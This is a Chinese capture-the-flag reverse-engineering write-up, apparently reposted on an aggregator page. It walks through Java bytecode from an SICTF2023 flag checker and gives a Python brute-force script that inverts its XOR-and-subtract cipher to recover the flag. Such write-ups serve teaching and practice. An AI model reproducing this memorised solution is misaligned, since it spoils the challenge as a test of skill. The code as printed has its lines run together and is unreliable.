if_icmpge     380332: aload_1              //参数1333: iload         7335: aload_1                   //SICTF2023336: invokevirtual #69                 // Method java/lang/String.length:()I339: irem                       //余数340: invokevirtual #71                 // Method java/lang/String.charAt:(I)C343: istore        8           //key345: aload         4    //对象引用 347: iload         7    //整数引用  idx349: aload         6    //          明文351: iload         7    //          idx353: caload354: aload         6356: iload         7358: iconst_1             m[i]^  m[i+1]359: iadd360: caload361: ixor362: iload         8                 -key 364: isub365: iload         8                 ^key  367: ixor368: sipush        255               &255371: iand372: i2d373: dastore374: iinc          7, 1377: goto          322380: aload         4382: aload_3383: invokestatic  #72                 // Method java/util/Arrays.equals:([D[D)Z386: ifeq          400389: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;392: ldc           #73                 // String OH!You are right!\n394: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V397: goto          408400: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;403: ldc           #74                 // String NO!You should try again!\n405: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V408: iconst_0409: invokestatic  #75                 // Method java/lang/System.exit:(I)V412: return

开头的250多行是密文,存到数据里,为了恶心人专门转化成双精度,其实一点没变。

264-266将一个串SICTF023存入串1(key)

271-313读入flag存入bytearray并判断长度

320-329一个for循环

332-377加密:((flag[i]^flag[i+1]) - key[i%keylen])^key[i%keylen]还是比较麻烦的

由于头部已经可以很容易从头爆破

a = [148,136,151,234,177,48,226,234,214,177,168,176,151,250,19,20,253,52,72,176,170,140,176,236,54,231,212,237,135,151,150,135,217,231,229,32,90]#(((83^73)-83)^83)&255
key = b'SICTF2023'*5
b = [0]*38
b[0] = ord('S')
b[37] = ord('}')for i in range(1,38):for c in range(256):v = (((c^b[i-1])-key[i-1])^key[i-1])&0xffif v == a[i-1]:b[i] = c print(i,chr(c), bytes(b))break 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/74839.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GCP Architect之VPN+Network

VPN 搜索结果共计:11 [单选]As part of implementing their disaster recovery plan, your company is trying to replicate their production MySQL database from their private data center to their GCP project using a Google Cloud VPN connection. They are experien…

OpenCV(三十四):轮廓外接最大、最小矩形和多边形拟合

目录 1.轮廓外接最大矩形boundingRect() 2.轮廓外接最小矩形minAreaRect() 3.轮廓外接多边形approxPolyDP() 1.轮廓外接最大矩形boundingRect() Rect cv::boundingRect ( InputArray array ) array:输入的灰度图像或者2D点集&#xff0c;数据类型为vector<Point>或者M…

Go语言的[GPM模型]

在go中,线程是运行Groutine的实体,调度器的功能是把可以运行的Groutine分配到工作线程上 GPM模型 M与P的数量没有绝对的数量关系,当一个M阻塞时,P就会创建一个或者切换到另一个M,所以即使设置了runtime.GOMAXPROCS(1) 也可能创建多个M出来; 当M发现给自己输送G协程的那个P队列为…

《AI一键生成抖音商品种草文案》让你秒变带货王!

在这个数字化的时代&#xff0c;我们的生活被各种应用所包围&#xff0c;其中&#xff0c;抖音作为一款短视频分享平台&#xff0c;已经成为了我们生活中不可或缺的一部分。然而&#xff0c;作为一名抖音创作者&#xff0c;你是否曾经遇到过这样的困扰&#xff1a;在创作商品种…

C#程序到底从哪里开始看,从Main函数开始,那么Main函数是什么?

视觉人机器视觉粉丝问我,拿到自己公司得架构,问我,C#程序到底从哪里看,从Main函数开始,那么Main函数是什么? Main()函数 Main()是C#应用程序的入口点,执行这个函数就是执行应用程序。也就是说,在执行过程开始时,会执行Main()函数,在Main()函数执行完毕时,执行过…

【JavaSpring】spring接口-beanfactory和applicationcontext与事件解耦

beanfactory 1.applicationcontext的父接口 2.是Spring的核心容器 功能 表面只有getBean&#xff0c;但实现类默默发挥了巨大作用 1.管理所有bean 2.控制反转 3.基本的依赖注入 applicationcontext 功能 1.继承了MessageSource&#xff0c;有了处理国际化资源的能力 …

[H5动画制作系列] Sprite及Text Demo

参考代码: sprite.js: var canvas, stage, container; canvas document.getElementById("mainView"); function init() {stage new createjs.Stage(canvas);createjs.Touch.enable(stage);var loader new createjs.LoadQueue(false);loader.addEventListener(&q…

云计算与虚拟化

一、概念 什么是云计算&#xff1f; 云计算&#xff08;cloud computing&#xff09;是分布式计算的一种&#xff0c;指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序&#xff0c;然后&#xff0c;通过多部服务器组成的系统进行处理和分析这些小程序得到结果…

SLAM论文详解(5) — Bundle_Adjustment_LM(BALM)论文详解

目录 1 摘要 2 相关工作 3 BA公式和导数 A. 直接BA公式 B. 导数 C. 二阶近似 4 自适应体素化 5. 将BALM结合进LOAM 6. 实验 7. 算法应用场景解析 1 摘要 Bundle Adjustment是一种用于同时估计三维结构和传感器运动运动的优化算法。在视觉SLAM&#xff0c;三维重建等…

爬虫逆向实战(30)-某查查股东关联公司(HmacSHA512)

一、数据接口分析 主页地址&#xff1a;某查查 1、抓包 通过抓包可以发现数据接口是api/people/getRelatCompany 2、判断是否有加密参数 请求参数是否加密&#xff1f; 无 请求头是否加密&#xff1f; 通过查看“标头”可以发现&#xff0c;请求头中有一个key和value都是…

基于Sentinel的微服务保护

前言 Sentinel是Alibaba开源的一款微服务流控组件&#xff0c;用于解决分布式应用场景下服务的稳定性问题。Sentinel具有丰富的应用场景&#xff0c;它基于流量提供一系列的服务保护措施&#xff0c;例如多线程秒杀情况下的系统承载&#xff0c;并发访问下的流量控制&#xff…

9.8day59

503. 下一个更大元素 II - 力扣&#xff08;LeetCode&#xff09; 知识点&#xff1a;单调栈 42. 接雨水 - 力扣&#xff08;LeetCode&#xff09;

Qt的窗口系统

代码仓库以及参考文件见文章底部 坐标体系 要想学好GUI,界面的坐标系首先要搞清楚 在Qt编程中,以左上角为原点,X向右增加,Y向下增加。 对于所有嵌套的窗口,其坐标是相对于父窗口来说的。 QWidget 所有窗口以及窗口控件都是从QWidget直接或者间接派生出来的。 对象模…

基于Fomantic UI Web构建 个人导航站点网站源码 网站技术导航源码

BYR-Navi-master好看有个性的网站技术导航源码 该网站基于Fomantic UI Web框架构建&#xff0c;整个项目的设计和构建具有高度的配置和定制灵活性。 整体风格比较适合个人导航站点使用 搜索框输入关键词后&#xff0c;点击上方搜索引擎图标可跳转打开对应搜索引擎搜索结果&am…

std : : vector

一.简介 std::vector 的底层实现通常基于动态数组&#xff08;dynamic array&#xff09;&#xff0c;它是一种连续分配的内存块&#xff0c;允许元素的快速随机访问。下面是 std::vector 的一些关键特点和底层实现细节&#xff1a; 连续内存块&#xff1a;std::vector 内部使…

MAC M1芯片安装mounty读写移动硬盘中的文件

因为移动硬盘中的文件是微软公司NTFS格式&#xff0c;MAC只支持自己的APFS或者HFS&#xff0c;与微软的NTFS不兼容&#xff0c;所以需要第三方的软件来支持读写硬盘中的文件&#xff0c;经过一上午的折腾&#xff0c;最终选择安装mounty这个免费的第三方软件 工具网址连接&am…

祝贺!Databend Cloud 入驻 AWS 云市场

关于 Databend Cloud Databend Cloud 是基于开源云原生数仓项目 Databend 打造的一款易用、低成本、高性能的新一代大数据分析平台&#xff0c;提供一站式 SaaS 服务&#xff0c;免运维、开箱即用。 Databend Cloud 架构如下&#xff1a; 存储层完全面向对象存储而设计。 计算…

第25节-PhotoShop基础课程-文本工具组

文章目录 前言1.横排文字工具1.基本操作1.字体选择2.字体大小3.字体颜色4.左对齐5.右对齐6.居中对齐 2.字符 2.段落文字3.蒙版文字 前言 1.横排文字工具 1.基本操作 1.字体选择 2.字体大小 3.字体颜色 4.左对齐 5.右对齐 6.居中对齐 2.字符 2.段落文字 3.蒙版文字

Stable Diffusion 告别猜关键词,LoRA适配关键词自动生成

有没有想想过在SD绘图的时候下载好的LoRA模型选择之后不生效是为什么?或者说关键词不知道怎么填写? 这里介绍基于 Civitai 的LoRA 使用方法。 文章目录 Civitai 插件使用方法Civitai 插件 如果没有安装的小伙伴可以参考前面的文章先对 Civitai 的模型管理进行安装和使用,确…

【iOS】MVC

文章目录 前言一、MVC各层职责1.1、controller层1.2、model层1.3、view层 二、总结三、优缺点3.1、优点3.2、缺点 四、代码示例 前言 MVC模式的目的是实现一种动态的程序设计&#xff0c;使后续对程序的修改和扩展简化&#xff0c;并且使程序某一部分的重复利用成为可能。除此…